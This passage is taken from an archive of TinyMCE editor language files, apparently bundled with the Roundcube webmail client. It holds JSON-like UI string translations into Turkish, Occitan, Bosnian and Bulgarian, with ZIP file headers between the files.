"Size": "Boyut",
"More...": "Daha Fazla...",
"Select...": "Se\u00e7...",
"Preferences": "Tercihler",
"Yes": "Evet",
"No": "Hay\u0131r",
"Keyboard Navigation": "Klavye K\u0131sayollar\u0131",
"Version": "Versiyon",
"Code view": "Kod G\u00f6r\u00fcn\u00fcm\u00fc",
"Open popup menu for split buttons": "B\u00f6l\u00fcnm\u00fc\u015f d\u00fc\u011fmeler i\u00e7in a\u00e7\u0131l\u0131r men\u00fcy\u00fc a\u00e7",
"List Properties": "Liste \u00d6zellikleri",
"List properties...": "Liste \u00d6zellikleri...",
"Start list at number": "Listeyi numaradan ba\u015flat",
"Line height": "Sat\u0131r Y\u00fcksekli\u011fi",
"comments": "yorumlar",
"Format Painter": "Bi\u00e7im Boyac\u0131s\u0131",
"Insert\/edit iframe": "ekle\/d\u00fczenle\/iframe",
"Capitalization": "B\u00fcy\u00fck Harfle Yazma",
"lowercase": "k\u00fc\u00e7\u00fclt\u00fclm\u00fc\u015f",
"UPPERCASE": "b\u00fcy\u00fclt\u00fclm\u00fc\u015f",
"Title Case": "Ba\u015fl\u0131k Alan\u0131",
"permanent pen": "kal\u0131c\u0131 kalem",
"Permanent Pen Properties": "Kal\u0131c\u0131 Kalem \u00d6zellikleri",
"Permanent pen properties...": "Kal\u0131c\u0131 kalem \u00f6zellikleri...",
"case change": "Durum De\u011fi\u015fikli\u011fi",
"page embed": "Sayfa Yerle\u015ftirme",
"Advanced sort...": "Geli\u015fmi\u015f s\u0131ralama...",
"Advanced Sort": "Geli\u015fmi\u015f s\u0131ralama",
"Sort table by column ascending": "Tabloyu S\u00fctuna G\u00f6re Artan S\u0131rada S\u0131rala",
"Sort table by column descending": "Tabloyu S\u00fctuna G\u00f6re Azalan S\u0131rada S\u0131rala",
"Sort": "S\u0131n\u0131fland\u0131r",
"Order": "D\u00fczenle",
"Sort by": "\u015euna g\u00f6re s\u0131n\u0131fland\u0131r:",
"Ascending": "Y\u00fckselen",
"Descending": "Al\u00e7alan",
"Column {0}": "Kolon : {0}",
"Row {0}": "S\u0131ra : {0}",
"Spellcheck...": "Yaz\u0131m Denetimi...",
"Misspelled word": "Yanl\u0131\u015f yaz\u0131lm\u0131\u015f kelime",
"Suggestions": "\u00d6neriler",
"Change": "De\u011fi\u015ftir",
"Finding word suggestions": "Kelime \u00f6nerilerini bulma",
"Success": "Ba\u015far\u0131",
"Repair": "Onar\u0131m",
"Issue {0} of {1}": "Bas\u0131m :  {0} \/ {1}",
"Images must be marked as decorative or have an alternative text description": "Resimler s\u00fcs ama\u00e7l\u0131 olarak i\u015faretlenmelidir yahut alt etikete sahip olmal\u0131d\u0131r.",
"Images must have an alternative text description. Decorative images are not allowed.": "G\u00f6rsellerin alternatif bir metin a\u00e7\u0131klamas\u0131 olmal\u0131d\u0131r. Dekoratif resimlere izin verilmez.",
"Or provide alternative text:": "veya alternatif metin sa\u011flay\u0131n:",
"Make image decorative:": "Resmi dekoratif yap:",
"ID attribute must be unique": "\"ID\" \u00f6zelli\u011fi benzersiz olmal\u0131d\u0131r",
"Make ID unique": "\"ID\" \u00f6zelli\u011fini benzersiz yap",
"Keep this ID and remove all others": "Bu kimli\u011fi saklay\u0131n ve di\u011ferlerini kald\u0131r\u0131n",
"Remove this ID": "Bu ID'yi kald\u0131r",
"Remove all IDs": "T\u00fcm ID'leri kald\u0131r",
"Checklist": "Kontrol Listesi",
"Anchor": "\u00c7apa",
"Special character": "\u00d6zel karakter",
"Code sample": "Kod \u00f6rne\u011fi",
"Color": "Renk",
"Document properties": "Dok\u00fcman \u00f6zellikleri",
"Image description": "Resim a\u00e7\u0131klamas\u0131",
"Image": "Resim",
"Insert link": "Ba\u011flant\u0131 ekle",
"Target": "Hedef",
"Link": "Ba\u011flant\u0131",
"Poster": "Poster",
"Media": "Medya",
"Print": "Yazd\u0131r",
"Prev": "\u00d6nceki",
"Find and replace": "Bul ve de\u011fi\u015ftir",
"Whole words": "Tam s\u00f6zc\u00fckler",
"Insert template": "\u015eablon ekle"
});PK
h�\s�I�;�;program/js/tinymce/langs/oc.jsnu�[���tinymce.addI18n('oc',{
"Redo": "Refar",
"Undo": "Desfar",
"Cut": "Talhar",
"Copy": "Copiar",
"Paste": "Pegar",
"Select all": "Seleccionar tot",
"New document": "Document nov\u00e8l",
"Ok": "D'ac\u00f2rdi",
"Cancel": "Anullar",
"Visual aids": "Ajudas visualas",
"Bold": "Gras",
"Italic": "Italica",
"Underline": "Solinhat",
"Strikethrough": "Ralhat",
"Superscript": "Exponent",
"Subscript": "Indici",
"Clear formatting": "Escafar la mesa en forma",
"Align left": "Alinhar a esqu\u00e8rra",
"Align center": "Alinhar al centre",
"Align right": "Alinhar a drecha",
"Justify": "Justificar",
"Bullet list": "Piuses",
"Numbered list": "Lista numerotada",
"Decrease indent": "Demesir l'alin\u00e8a",
"Increase indent": "Aumentar l'alin\u00e8a",
"Close": "Tampar",
"Formats": "Formats",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "V\u00f2stre navigador sup\u00f2rta pas la c\u00f2pia dir\u00e8cta. Merc\u00e9 d'utilizar las t\u00f2cas Ctrl+X\/C\/V.",
"Headers": "Ent\u00e8stas",
"Header 1": "Ent\u00e8sta 1",
"Header 2": "Ent\u00e8sta 2",
"Header 3": "Ent\u00e8sta 3",
"Header 4": "Ent\u00e8sta 4",
"Header 5": "Ent\u00e8sta 5",
"Header 6": "Ent\u00e8sta 6",
"Headings": "T\u00edtols",
"Heading 1": "T\u00edtol 1",
"Heading 2": "T\u00edtol 2",
"Heading 3": "T\u00edtol 3",
"Heading 4": "T\u00edtol 4",
"Heading 5": "T\u00edtol 5",
"Heading 6": "T\u00edtol 6",
"Preformatted": "Preformatat",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f2de",
"Paragraph": "Paragraf",
"Blockquote": "Citacion",
"Inline": "En linha",
"Blocks": "Bl\u00f2ts",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Lo quichapapi\u00e8rs es ara en m\u00f2de \"t\u00e8xte plen\". Los contenguts ser\u00e0n pegats sens ret\u00e9ner los formatatges fins al moment que desactivaretz aquesta opcion.",
"Fonts": "Polissas",
"Font Sizes": "Talhas de poli\u00e7a",
"Class": "Class",
"Browse for an image": "Cercar un imatge",
"OR": "O",
"Drop an image here": "Depausatz un imatge aqu\u00ed",
"Upload": "Enviar",
"Block": "Bl\u00f2c",
"Align": "Alinhament",
"Default": "Per defaut",
"Circle": "Cercle",
"Disc": "Disc",
"Square": "Carrat",
"Lower Alpha": "Alfa minuscula",
"Lower Greek": "Gr\u00e8c minuscula",
"Lower Roman": "Roman minuscula",
"Upper Alpha": "Alfa majuscula",
"Upper Roman": "Roman majuscula",
"Anchor...": "Ancora...",
"Name": "Nom",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Los ID devon comen\u00e7ar amb una letra e \u00e8sser seguit per de letras, nombres, jonhent, punts o  punt-virgulas.",
"You have unsaved changes are you sure you want to navigate away?": "Av\u00e8tz de modificacions pas enregistradas, s\u00e8tz segur que vol\u00e8tz quitar la pagina ?",
"Restore last draft": "Restablir lo darri\u00e8r borrolhon",
"Special character...": "Caract\u00e8r especial...",
"Source code": "C\u00f2de font",
"Insert\/Edit code sample": "Inserir\/Modificar exemple de c\u00f2di",
"Language": "Lenga",
"Code sample...": "Exemple de c\u00f2di...",
"Color Picker": "Trapador de color",
"R": "R",
"G": "V",
"B": "B",
"Left to right": "D'esqu\u00e8rra cap a drecha",
"Right to left": "De drecha cap a esqu\u00e8rra",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Metadonadas e proprietats del document",
"Title": "T\u00edtol",
"Keywords": "Mots claus",
"Description": "Descripcion",
"Robots": "Rob\u00f2ts",
"Author": "Autor",
"Encoding": "Encodatge",
"Fullscreen": "Ecran complet",
"Action": "Accion",
"Shortcut": "Acorchi",
"Help": "Ajuda",
"Address": "Adre\u00e7as",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Inserir un ligam (se l\u2019extension Ligam es activada)",
"Save (if save plugin activated)": "Enregistrar (se l\u2019exension Enregistrar es activada)",
"Find (if searchreplace plugin activated)": "Cercar (se l\u2019extension Searchreplace es activada)",
"Plugins installed ({0}):": "Extensions installadas ({0})\u202f:",
"Premium plugins:": "Extensions Premium\u202f:",
"Learn more...": "Ne saber mai...",
"You are using {0}": "Utilizatz {0}",
"Plugins": "Extensions",
"Handy Shortcuts": "Acorchis utils",
"Horizontal line": "Linha orizontala",
"Insert\/edit image": "Inserir\/modificar un imatge",
"Image description": "Descripcion de l'imatge",
"Source": "Font",
"Dimensions": "Dimensions",
"Constrain proportions": "Conservar las proporcions",
"General": "General",
"Advanced": "Avan\u00e7at",
"Style": "Estil",
"Vertical space": "Espa\u00e7ament vertical",
"Horizontal space": "Espa\u00e7ament orizontal",
"Border": "Bordadura",
"Insert image": "Inserir un imatge",
"Image...": "Imatge...",
"Image list": "Lista d\u2019imatges",
"Rotate counterclockwise": "Rotacion anti-or\u00e0ria",
"Rotate clockwise": "Rotacion or\u00e0ria",
"Flip vertically": "Revirament vertical",
"Flip horizontally": "Revirament orizontal",
"Edit image": "Modificar l'imatge",
"Image options": "Opcions de l'imatge",
"Zoom in": "Zoom avant",
"Zoom out": "Zoom arri\u00e8r",
"Crop": "Retalhar",
"Resize": "Redimensionar",
"Orientation": "Orientacion",
"Brightness": "Luminositat",
"Sharpen": "Afinar",
"Contrast": "Contraste",
"Color levels": "Niv\u00e8ls de color",
"Gamma": "Gamma",
"Invert": "Inversar",
"Apply": "Aplicar",
"Back": "Retorn",
"Insert date\/time": "Inserir data\/ora",
"Date\/time": "Data\/ora",
"Insert\/Edit Link": "Inserir\/Modificar un ligam",
"Insert\/edit link": "Inserir\/modificar un ligam",
"Text to display": "T\u00e8xte d'afichar",
"Url": "Url",
"Open link in...": "Dobrir lo ligam dins...",
"Current window": "Fen\u00e8stra actuala",
"None": "Pas cap",
"New window": "Fen\u00e8stra nov\u00e8la",
"Remove link": "Suprimir lo ligam",
"Anchors": "Anc\u00f2ras",
"Link...": "Ligam...",
"Paste or type a link": "Pegatz o picatz un ligam",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Sembla que l'URL qu'av\u00e8tz entrada es una adre\u00e7a e-mail. Vol\u00e8tz apondre lo prefix mailto: necessari ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Sembla que l'URL qu'av\u00e8tz entrada es un ligam ext\u00e8rne. Vol\u00e8tz apondre lo prefix http:\/\/ necessari ?",
"Link list": "Lista de ligams",
"Insert video": "Inserir una vid\u00e8o",
"Insert\/edit video": "Inserir\/modificar una vid\u00e8o",
"Insert\/edit media": "Inserir\/modificar un m\u00e8dia",
"Alternative source": "Font alternativa",
"Alternative source URL": "URL font alternativa",
"Media poster (Image URL)": "Media poster (Image URL)",
"Paste your embed code below:": "Pegatz v\u00f2tre c\u00f2di d'integracion \u00e7aij\u00f3s :",
"Embed": "Integrat",
"Media...": "M\u00e8dia...",
"Nonbreaking space": "Espaci insecable",
"Page break": "Pagina copada",
"Paste as text": "Pegar coma de t\u00e8xte",
"Preview": "Previsualizar",
"Print...": "Imprimir...",
"Save": "Enregistrar",
"Find": "Recercar",
"Replace with": "Rempla\u00e7ar per",
"Replace": "Rempla\u00e7ar",
"Replace all": "Rempla\u00e7ar tot",
"Previous": "Precedent",
"Next": "Seg",
"Find and replace...": "Trobar e rempla\u00e7ar...",
"Could not find the specified string.": "Impossible de trobar la cadena especificada.",
"Match case": "Respectar la cassa",
"Find whole words only": "Cercar mot enti\u00e8r sonque",
"Spell check": "Verificacion ortografica",
"Ignore": "Ignorar",
"Ignore all": "Ignorar tot",
"Finish": "Acabar",
"Add to Dictionary": "Apondre al diccionari",
"Insert table": "Inserir un tabl\u00e8u",
"Table properties": "Proprietats del tabl\u00e8u",
"Delete table": "Suprimir lo tabl\u00e8u",
"Cell": "Cellula",
"Row": "Linha",
"Column": "Colomna",
"Cell properties": "Proprietats de la cellula",
"Merge cells": "Fusionar las cellulas",
"Split cell": "Devesir la cellula",
"Insert row before": "Inserir una linha abans",
"Insert row after": "Inserir una linha apr\u00e8p",
"Delete row": "Suprimir la linha",
"Row properties": "Proprietats de la linha",
"Cut row": "Talhar la linha",
"Copy row": "Copiar la linha",
"Paste row before": "Pegar la linha abans",
"Paste row after": "Pegar la linha apr\u00e8p",
"Insert column before": "Inserir una colomna abans",
"Insert column after": "Inserir una colomna apr\u00e8p",
"Delete column": "Suprimir la colomna",
"Cols": "Colomnas",
"Rows": "Linhas",
"Width": "Largor",
"Height": "Nautor",
"Cell spacing": "Cell spacing",
"Cell padding": "Cell padding",
"Show caption": "Mostrar legenda",
"Left": "Esqu\u00e8rra",
"Center": "Centre",
"Right": "Drecha",
"Cell type": "Tipe de cellula",
"Scope": "Scope",
"Alignment": "Alinhament",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Mitan",
"Bottom": "Bottom",
"Header cell": "Header cell",
"Row group": "Row group",
"Column group": "Column group",
"Row type": "Tipe de linha",
"Header": "Ent\u00e8sta",
"Body": "C\u00f2s",
"Footer": "P\u00e8 de pagina",
"Border color": "Color de la bordadura",
"Insert template...": "Inserir un mod\u00e8l...",
"Templates": "Mod\u00e8ls",
"Template": "Mod\u00e8l",
"Text color": "Color del t\u00e8xte",
"Background color": "Color de r\u00e8ireplan",
"Custom...": "Personalizar...",
"Custom color": "Color personalizada",
"No color": "Pas de color",
"Remove color": "Tirar la color",
"Table of Contents": "Ensenhador",
"Show blocks": "Afichar los bl\u00f2ts",
"Show invisible characters": "Far veire los caract\u00e8rs invisibles",
"Word count": "Comptador mot",
"Count": "Comptador",
"Document": "Document",
"Selection": "Seleccion",
"Words": "Mots",
"Words: {0}": "Mots : {0}",
"{0} words": "{0} mots",
"File": "Fichi\u00e8r",
"Edit": "Editar",
"Insert": "Inserir",
"View": "Veire",
"Format": "Format",
"Table": "Tabl\u00e8u",
"Tools": "Aisinas",
"Powered by {0}": "Propulsat per {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Z\u00f2na T\u00e8xte Ric. Quichar sus ALT-F9 pel men\u00fa. Quichar sus ALT-F10 per la barra d'aisinas. Quichar sus ALT-0 per d'ajuda.",
"Image title": "T\u00edtol imatge",
"Border width": "Largor bordadura",
"Border style": "Estil bordadura",
"Error": "Error",
"Warn": "Av\u00eds",
"Valid": "Valid",
"To open the popup, press Shift+Enter": "Per dobrir dins una fen\u00e8stra sorgissenta, quichatz Maj+Entrada",
"Rich Text Area. Press ALT-0 for help.": "Rich Text Area. Press ALT-0 for help.",
"System Font": "Polissa sist\u00e8ma",
"Failed to upload image: {0}": "Frac\u00e0s mandad\u00eds imatge : {0}",
"Failed to load plugin: {0} from url {1}": "Failed to load plugin: {0} from url {1}",
"Failed to load plugin url: {0}": "Failed to load plugin url: {0}",
"Failed to initialize plugin: {0}": "Failed to initialize plugin: {0}",
"example": "exemple",
"Search": "Cercar",
"All": "Tot",
"Currency": "Moneda",
"Text": "T\u00e8xte",
"Quotations": "Citacions",
"Mathematical": "Mathematical",
"Extended Latin": "Extended Latin",
"Symbols": "Simb\u00f2ls",
"Arrows": "Fl\u00e8chas",
"User Defined": "User Defined",
"dollar sign": "signe d\u00f2lar",
"currency sign": "Signe devisa",
"euro-currency sign": "signe devisa europenca ",
"colon sign": "signe colon",
"cruzeiro sign": "signe cruzeiro",
"french franc sign": "signe franc",
"lira sign": "signe lira",
"mill sign": "signe mill",
"naira sign": "signe naira",
"peseta sign": "signe peseta",
"rupee sign": "signe roble",
"won sign": "signe won",
"new sheqel sign": "signe sheqel",
"dong sign": "signe dong",
"kip sign": "signe kip",
"tugrik sign": "signe tugrik",
"drachma sign": "signe drachma",
"german penny symbol": "signe devisa germana",
"peso sign": "signe peso",
"guarani sign": "signe guarani",
"austral sign": "signe austral",
"hryvnia sign": "signe hryvnia",
"cedi sign": "signe cedi",
"livre tournois sign": "signe livre tournois",
"spesmilo sign": "signe spesmilo",
"tenge sign": "signe tenge",
"indian rupee sign": "signe roble india",
"turkish lira sign": "signe lira de Turquia",
"nordic mark sign": "signe marc nordic",
"manat sign": "signe manat",
"ruble sign": "signe roble",
"yen character": "signe yen",
"yuan character": "signe yuan",
"yuan character, in hong kong and taiwan": "yuan character, in hong kong and taiwan",
"yen\/yuan character variant one": "yen\/yuan character variant one",
"Loading emoticons...": "Cargament emoticons...",
"Could not load emoticons": "Cargament impossible de las emoticons",
"People": "Gents",
"Animals and Nature": "Animals e Natura",
"Food and Drink": "Beure e manjar",
"Activity": "Activitat",
"Travel and Places": "Viatge e L\u00f2cs",
"Objects": "Obj\u00e8ctes",
"Flags": "Drap\u00e8us",
"Characters": "Caract\u00e8rs",
"Characters (no spaces)": "Caract\u00e8rs (sens espaci)",
"{0} characters": "{0} caract\u00e8rs",
"Error: Form submit field collision.": "Error: Form submit field collision.",
"Error: No form element found.": "Error\u202f: cap d\u2019element formulari pas trobat.",
"Update": "Actualizar",
"Color swatch": "Cambiament de color",
"Turquoise": "Turquesa",
"Green": "Verd",
"Blue": "Blau",
"Purple": "Violet",
"Navy Blue": "Blau marin",
"Dark Turquoise": "Turquesa escur",
"Dark Green": "Verd escur",
"Medium Blue": "Blau mejan",
"Medium Purple": "Violet mejan",
"Midnight Blue": "Blau nu\u00e8ch",
"Yellow": "Jaune",
"Orange": "Irange",
"Red": "Roge",
"Light Gray": "Gris clar",
"Gray": "Gris",
"Dark Yellow": "Jaune escur",
"Dark Orange": "Irange escur",
"Dark Red": "Roge escur",
"Medium Gray": "Gris mejan",
"Dark Gray": "Gris escur",
"Light Green": "Verd clar",
"Light Yellow": "Jaune clar",
"Light Red": "Roge clar",
"Light Purple": "Violet clar",
"Light Blue": "Blau clar",
"Dark Purple": "Violet escur",
"Dark Blue": "Blau escur",
"Black": "Negre",
"White": "Blanc",
"Switch to or from fullscreen mode": "Switch to or from fullscreen mode",
"Open help dialog": "Open help dialog",
"history": "istoric",
"styles": "estils",
"formatting": "formatting",
"alignment": "alinhament",
"indentation": "indentacion",
"permanent pen": "permanent pen",
"comments": "comentaris",
"Format Painter": "Format Painter",
"Insert\/edit iframe": "Insert\/edit iframe",
"Capitalization": "Capitalization",
"lowercase": "lowercase",
"UPPERCASE": "UPPERCASE",
"Title Case": "Title Case",
"Permanent Pen Properties": "Permanent Pen Properties",
"Permanent pen properties...": "Permanent pen properties...",
"Font": "Polissa",
"Size": "Talha",
"More...": "Mai...",
"Spellcheck Language": "Lenga del verificador ortografic",
"Select...": "Seleccionar...",
"Preferences": "Prefer\u00e9ncias",
"Yes": "\u00d2c",
"No": "Non",
"Keyboard Navigation": "Acorchis clavi\u00e8r",
"Version": "Version",
"Anchor": "Anc\u00f2ra",
"Special character": "Caract\u00e8r especial",
"Color": "Color",
"Emoticons": "Emotic\u00f2nas",
"Document properties": "Proprietats del document",
"Insert link": "Inserir un ligam",
"Target": "Cibla",
"Poster": "Publicar",
"Print": "Imprimir",
"Whole words": "Mots enti\u00e8rs",
"Find and replace": "Recercar e rempla\u00e7ar",
"Prev": "Prec",
"Spellcheck": "Corrector ortografic",
"Caption": "Caption",
"Insert template": "Inserir un mod\u00e8l"
});PK
h�\�Pneeprogram/js/tinymce/langs/bs.jsnu�[���tinymce.addI18n('bs',{
"Cut": "Izre\u017ei",
"Heading 5": "Naslov 5",
"Header 2": "Zaglavlje 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Va\u0161 browser ne podr\u017eava direktan pristup me\u0111umemoriji. Molimo vas da koristite pre\u010dice Ctrl+X\/C\/V na tastaturi.",
"Heading 4": "Naslov 4",
"Div": "Div",
"Heading 2": "Naslov 2",
"Paste": "Zalijepi",
"Close": "Zatvori",
"Font Family": "Familija fonta",
"Pre": "Pre",
"Align right": "Poravnaj desno",
"New document": "Novi dokument",
"Blockquote": "Blok citat",
"Numbered list": "Numerisana lista",
"Heading 1": "Naslov 1",
"Headings": "Naslovi",
"Increase indent": "Pove\u0107aj uvlaku",
"Formats": "Formati",
"Headers": "Zaglavlja",
"Select all": "Ozna\u010di sve",
"Header 3": "Zaglavlje 3",
"Blocks": "Blokovi",
"Undo": "Nazad",
"Strikethrough": "Precrtano",
"Bullet list": "Bullet lista",
"Header 1": "Zaglavlje 1",
"Superscript": "Eksponent",
"Clear formatting": "Poni\u0161ti formatiranje",
"Font Sizes": "Veli\u010dine fonta",
"Subscript": "Indeks",
"Header 6": "Zaglavlje 6",
"Redo": "Naprijed",
"Paragraph": "Paragraf",
"Ok": "U redu",
"Bold": "Podebljano",
"Code": "Kod",
"Italic": "Nakrivljen",
"Align center": "Centriraj",
"Header 5": "Zaglavlje 5",
"Heading 6": "Naslov 6",
"Heading 3": "Naslov 3",
"Decrease indent": "Smanji uvlaku",
"Header 4": "Zaglavlje 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Lijepljenje je sada u modu obi\u010dnog teksta. Sadr\u017eaj \u0107e sada biti zalijepljen kao obi\u010dni tekst sve dok ovu opciju ne ugasite.",
"Underline": "Podvu\u010deno",
"Cancel": "Otka\u017ei",
"Justify": "Obostrano poravnanje",
"Inline": "U liniji",
"Copy": "Kopiraj",
"Align left": "Poravnaj lijevo",
"Visual aids": "Vizualna pomo\u0107",
"Lower Greek": "Mala gr\u010dka slova",
"Square": "Kvadrat",
"Default": "Po\u010detno",
"Lower Alpha": "Mala slova",
"Circle": "Krug",
"Disc": "Disk",
"Upper Alpha": "Velika slova",
"Upper Roman": "Velika rimska slova",
"Lower Roman": "Mala rimska slova",
"Name": "Ime",
"Anchor": "Anchor",
"You have unsaved changes are you sure you want to navigate away?": "Niste sa\u010duvali izmjene. Jeste li sigurni da \u017eelite napustiti stranicu?",
"Restore last draft": "Vrati posljednju skicu",
"Special character": "Specijalni znak",
"Source code": "Izvorni kod",
"B": "B",
"R": "R",
"G": "G",
"Color": "Boja",
"Right to left": "S desna na lijevo",
"Left to right": "S lijeva na desno",
"Emoticons": "Smajliji",
"Robots": "Roboti",
"Document properties": "Svojstva dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne rije\u010di",
"Encoding": "Kodiranje",
"Description": "Opis",
"Author": "Autor",
"Fullscreen": "Cijeli ekran",
"Horizontal line": "Vodoravna linija",
"Horizontal space": "Horizontalni razmak",
"Insert\/edit image": "Umetni\/uredi sliku",
"General": "Op\u0107enito",
"Advanced": "Napredno",
"Source": "Izvor",
"Border": "Okvir",
"Constrain proportions": "Ograni\u010di proporcije",
"Vertical space": "Vertikalni razmak",
"Image description": "Opis slike",
"Style": "Stil",
"Dimensions": "Dimenzije",
"Insert image": "Umetni sliku",
"Zoom in": "Zoom in",
"Contrast": "Contrast",
"Back": "Back",
"Gamma": "Gamma",
"Flip horizontally": "Flip horizontally",
"Resize": "Resize",
"Sharpen": "Sharpen",
"Zoom out": "Zoom out",
"Image options": "Image options",
"Apply": "Apply",
"Brightness": "Brightness",
"Rotate clockwise": "Rotate clockwise",
"Rotate counterclockwise": "Rotate counterclockwise",
"Edit image": "Edit image",
"Color levels": "Color levels",
"Crop": "Crop",
"Orientation": "Orientation",
"Flip vertically": "Flip vertically",
"Invert": "Invert",
"Insert date\/time": "Umetni datum\/vrijeme",
"Remove link": "Ukloni link",
"Url": "URL",
"Text to display": "Tekst za prikaz",
"Anchors": "Anchori",
"Insert link": "Umetni link",
"New window": "Novi prozor",
"None": "Ni\u0161ta",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Izgleda je URL koji ste upisali vanjski link. \u017delite li da dodate obavezni http:\/\/ prefiks?",
"Target": "Odredi\u0161te",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Izgleda da je URL koji ste upisali ustvari email adresa. \u017delite li da dodate obavezni mailto: prefiks?",
"Insert\/edit link": "Umetni\/uredi link",
"Insert\/edit video": "Umetni\/uredi video",
"Poster": "Objavio",
"Alternative source": "Alternativni izvor",
"Paste your embed code below:": "Zalijepite va\u0161 ugradbeni kod ispod:",
"Insert video": "Umetni video",
"Embed": "Ugradi",
"Nonbreaking space": "Neprijelomni razmak",
"Page break": "Prijelom stranice",
"Paste as text": "Zalijepi kao tekst",
"Preview": "Pregled",
"Print": "\u0160tampaj",
"Save": "Sa\u010duvaj",
"Could not find the specified string.": "Tra\u017eeni string nije prona\u0111en.",
"Replace": "Zamijeni",
"Next": "Sljede\u0107e",
"Whole words": "Cijele rije\u010di",
"Find and replace": "Prona\u0111i i zamijeni",
"Replace with": "Zamijena sa",
"Find": "Prona\u0111i",
"Replace all": "Zamijeni sve",
"Match case": "Razlikuj mala i velika slova",
"Prev": "Prethodno",
"Spellcheck": "Provjera pravopisa",
"Finish": "Zavr\u0161i",
"Ignore all": "Zanemari sve",
"Ignore": "Zanemari",
"Add to Dictionary": "Dodaj u rje\u010dnik",
"Insert row before": "Umetni red iznad",
"Rows": "Redovi",
"Height": "Visina",
"Paste row after": "Zalijepi red iznad",
"Alignment": "Poravnanje",
"Border color": "Boja okvira",
"Column group": "Grupa kolone",
"Row": "Red",
"Insert column before": "Umetni kolonu iznad",
"Split cell": "Podijeli \u0107eliju",
"Cell padding": "Ispunjenje \u0107elije",
"Cell spacing": "Razmak \u0107elija",
"Row type": "Vrsta reda",
"Insert table": "Umetni tabelu",
"Body": "Tijelo",
"Caption": "Natpis",
"Footer": "Podno\u017eje",
"Delete row": "Obri\u0161i red",
"Paste row before": "Zalijepi red ispod",
"Scope": "Opseg",
"Delete table": "Obri\u0161i tabelu",
"H Align": "H poravnanje",
"Top": "Vrh",
"Header cell": "\u0106elija zaglavlja",
"Column": "Kolona",
"Row group": "Grupa reda",
"Cell": "\u0106elija",
"Middle": "Sredina",
"Cell type": "Vrsta \u0107elije",
"Copy row": "Kopiraj red",
"Row properties": "Svojstva reda",
"Table properties": "Svojstva tabele",
"Bottom": "Dno",
"V Align": "V poravnanje",
"Header": "Zaglavlje",
"Right": "Desno",
"Insert column after": "Umetni kolonu ispod",
"Cols": "Kolone",
"Insert row after": "Umetni red ispod",
"Width": "\u0160irina",
"Cell properties": "Svojstva \u0107elije",
"Left": "Lijevo",
"Cut row": "Izre\u017ei red",
"Delete column": "Obri\u0161i kolonu",
"Center": "Centrirano",
"Merge cells": "Spoji \u0107elije",
"Insert template": "Umetni predlo\u017eak",
"Templates": "Predlo\u0161ci",
"Background color": "Boja pozadine",
"Custom...": "Prilago\u0111eno...",
"Custom color": "Korisni\u010dka boja",
"No color": "Bez boje",
"Text color": "Boja tekst",
"Show blocks": "Prika\u017ei blokove",
"Show invisible characters": "Prika\u017ei nevidljive znakove",
"Words: {0}": "Rije\u010di: {0}",
"Insert": "Umetni",
"File": "Datoteka",
"Edit": "Uredi",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Oblast za ure\u0111ivanje teksta. Pritisnite ALT-F9 za meni. Pritisnite ALT-F10 za prikaz alatne trake. Pritisnite ALT-0 za pomo\u0107.",
"Tools": "Alati",
"View": "Pregled",
"Table": "Tabela",
"Format": "Formatiranje"
});PK
h�\)W�tհհ!program/js/tinymce/langs/bg_BG.jsnu�[���tinymce.addI18n('bg_BG',{
"Redo": "\u041e\u0442\u043c\u0435\u043d\u044f\u043d\u0435",
"Undo": "\u0412\u0440\u044a\u0449\u0430\u043d\u0435",
"Cut": "\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435",
"Copy": "\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435",
"Paste": "\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435",
"Select all": "\u041c\u0430\u0440\u043a\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0446\u044f\u043b\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435",
"New document": "\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "\u0414\u043e\u0431\u0440\u0435",
"Cancel": "\u041e\u0442\u043a\u0430\u0437",
"Visual aids": "\u0412\u0438\u0437\u0443\u0430\u043b\u043d\u043e \u043e\u0442\u043a\u0440\u043e\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0438 \u0431\u0435\u0437 \u043a\u0430\u043d\u0442\u043e\u0432\u0435 (\u0440\u0430\u043c\u043a\u0438)",
"Bold": "\u0423\u0434\u0435\u0431\u0435\u043b\u0435\u043d (\u043f\u043e\u043b\u0443\u0447\u0435\u0440)",
"Italic": "\u041d\u0430\u043a\u043b\u043e\u043d\u0435\u043d (\u043a\u0443\u0440\u0441\u0438\u0432)",
"Underline": "\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u0432\u0430\u043d\u0435",
"Strikethrough": "\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u0432\u0430\u043d\u0435",
"Superscript": "\u0413\u043e\u0440\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441",
"Subscript": "\u0414\u043e\u043b\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441",
